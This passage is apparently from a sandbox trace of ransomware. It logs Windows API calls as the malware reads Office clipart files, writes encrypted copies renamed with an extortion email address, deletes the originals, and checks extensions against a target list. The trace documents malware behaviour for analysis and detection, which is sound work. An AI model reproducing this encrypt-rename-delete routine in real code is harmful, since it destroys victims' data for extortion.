dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.368] GetLastError () returned 0x0 [0250.368] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x112c, lpOverlapped=0x0) returned 1 [0250.369] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0250.370] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.370] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.370] SetEndOfFile (hFile=0x324) returned 1 [0250.370] CloseHandle (hObject=0x324) returned 1 [0250.371] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.371] SetEndOfFile (hFile=0x3b0) returned 1 [0250.373] CloseHandle (hObject=0x3b0) returned 1 [0250.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0250.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.373] lstrlenW (lpString=".doc") returned 4 [0250.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString=".docx") returned 5 [0250.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.374] lstrlenW (lpString=".pdf") returned 4 [0250.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString=".xls") returned 4 [0250.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.374] lstrlenW (lpString=".xlsx") returned 5 [0250.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.374] lstrlenW (lpString=".ppt") returned 4 [0250.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.374] lstrlenW (lpString=".zip") returned 4 [0250.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.374] lstrlenW (lpString=".rar") returned 4 [0250.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString=".bz2") returned 4 [0250.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString=".7z") returned 3 [0250.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.374] lstrlenW (lpString=".dbf") returned 4 [0250.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.374] lstrlenW (lpString=".1cd") returned 4 [0250.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.374] lstrlenW (lpString=".jpg") returned 4 [0250.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.374] lstrlenW (lpString=".doc") returned 4 [0250.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString=".docx") returned 5 [0250.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.374] lstrlenW (lpString=".pdf") returned 4 [0250.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.374] lstrlenW (lpString=".xls") returned 4 [0250.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.375] lstrlenW (lpString=".xlsx") returned 5 [0250.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.375] lstrlenW (lpString=".ppt") returned 4 [0250.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.375] lstrlenW (lpString=".zip") returned 4 [0250.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.375] lstrlenW (lpString=".rar") returned 4 [0250.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.375] lstrlenW (lpString=".bz2") returned 4 [0250.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.375] lstrlenW (lpString=".7z") returned 3 [0250.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.375] lstrlenW (lpString=".dbf") returned 4 [0250.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.375] lstrlenW (lpString=".1cd") returned 4 [0250.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0250.375] lstrlenW (lpString=".jpg") returned 4 [0250.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.375] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.375] lstrlenW (lpString="FD02088_.WMF") returned 12 [0250.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.376] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3696) returned 1 [0250.376] CloseHandle (hObject=0x3b0) returned 1 [0250.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0250.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.376] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.376] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.377] GetLastError () returned 0x0 [0250.377] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xe70, lpOverlapped=0x0) returned 1 [0250.378] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0250.379] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.379] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.379] SetEndOfFile (hFile=0x324) returned 1 [0250.379] CloseHandle (hObject=0x324) returned 1 [0250.380] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.380] SetEndOfFile (hFile=0x3b0) returned 1 [0250.381] CloseHandle (hObject=0x3b0) returned 1 [0250.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0250.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.382] lstrlenW (lpString=".doc") returned 4 [0250.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString=".docx") returned 5 [0250.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.382] lstrlenW (lpString=".pdf") returned 4 [0250.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString=".xls") returned 4 [0250.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.382] lstrlenW (lpString=".xlsx") returned 5 [0250.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.382] lstrlenW (lpString=".ppt") returned 4 [0250.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.382] lstrlenW (lpString=".zip") returned 4 [0250.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.382] lstrlenW (lpString=".rar") returned 4 [0250.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString=".bz2") returned 4 [0250.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString=".7z") returned 3 [0250.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.383] lstrlenW (lpString=".dbf") returned 4 [0250.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.383] lstrlenW (lpString=".1cd") returned 4 [0250.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.383] lstrlenW (lpString=".jpg") returned 4 [0250.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.383] lstrlenW (lpString=".doc") returned 4 [0250.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString=".docx") returned 5 [0250.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.383] lstrlenW (lpString=".pdf") returned 4 [0250.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString=".xls") returned 4 [0250.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.383] lstrlenW (lpString=".xlsx") returned 5 [0250.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.383] lstrlenW (lpString=".ppt") returned 4 [0250.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.383] lstrlenW (lpString=".zip") returned 4 [0250.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.383] lstrlenW (lpString=".rar") returned 4 [0250.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString=".bz2") returned 4 [0250.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.383] lstrlenW (lpString=".7z") returned 3 [0250.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.384] lstrlenW (lpString=".dbf") returned 4 [0250.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.384] lstrlenW (lpString=".1cd") returned 4 [0250.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0250.384] lstrlenW (lpString=".jpg") returned 4 [0250.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.384] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.384] lstrlenW (lpString="FD02097_.WMF") returned 12 [0250.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.384] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1564) returned 1 [0250.384] CloseHandle (hObject=0x3b0) returned 1 [0250.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0250.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.385] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.127] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.483] GetLastError () returned 0x0 [0251.483] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x61c, lpOverlapped=0x0) returned 1 [0251.538] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x620, lpOverlapped=0x0) returned 1 [0251.540] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.540] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.540] SetEndOfFile (hFile=0x324) returned 1 [0251.540] CloseHandle (hObject=0x324) returned 1 [0251.540] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.540] SetEndOfFile (hFile=0x3b0) returned 1 [0251.542] CloseHandle (hObject=0x3b0) returned 1 [0251.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0251.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.543] lstrlenW (lpString=".doc") returned 4 [0251.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.543] lstrlenW (lpString=".docx") returned 5 [0251.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.543] lstrlenW (lpString=".pdf") returned 4 [0251.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.543] lstrlenW (lpString=".xls") returned 4 [0251.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.543] lstrlenW (lpString=".xlsx") returned 5 [0251.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.543] lstrlenW (lpString=".ppt") returned 4 [0251.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.543] lstrlenW (lpString=".zip") returned 4 [0251.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.543] lstrlenW (lpString=".rar") returned 4 [0251.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.543] lstrlenW (lpString=".bz2") returned 4 [0251.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.543] lstrlenW (lpString=".7z") returned 3 [0251.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.543] lstrlenW (lpString=".dbf") returned 4 [0251.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.544] lstrlenW (lpString=".1cd") returned 4 [0251.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.544] lstrlenW (lpString=".jpg") returned 4 [0251.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.544] lstrlenW (lpString=".doc") returned 4 [0251.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString=".docx") returned 5 [0251.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.544] lstrlenW (lpString=".pdf") returned 4 [0251.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString=".xls") returned 4 [0251.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.544] lstrlenW (lpString=".xlsx") returned 5 [0251.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.544] lstrlenW (lpString=".ppt") returned 4 [0251.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.544] lstrlenW (lpString=".zip") returned 4 [0251.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.544] lstrlenW (lpString=".rar") returned 4 [0251.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString=".bz2") returned 4 [0251.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString=".7z") returned 3 [0251.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.544] lstrlenW (lpString=".dbf") returned 4 [0251.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.544] lstrlenW (lpString=".1cd") returned 4 [0251.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0251.544] lstrlenW (lpString=".jpg") returned 4 [0251.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.545] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.545] lstrlenW (lpString="FD02161_.WMF") returned 12 [0251.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.545] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3128) returned 1 [0251.545] CloseHandle (hObject=0x3b0) returned 1 [0251.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0251.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.546] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.546] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.546] GetLastError () returned 0x0 [0251.546] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xc38, lpOverlapped=0x0) returned 1 [0251.571] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, 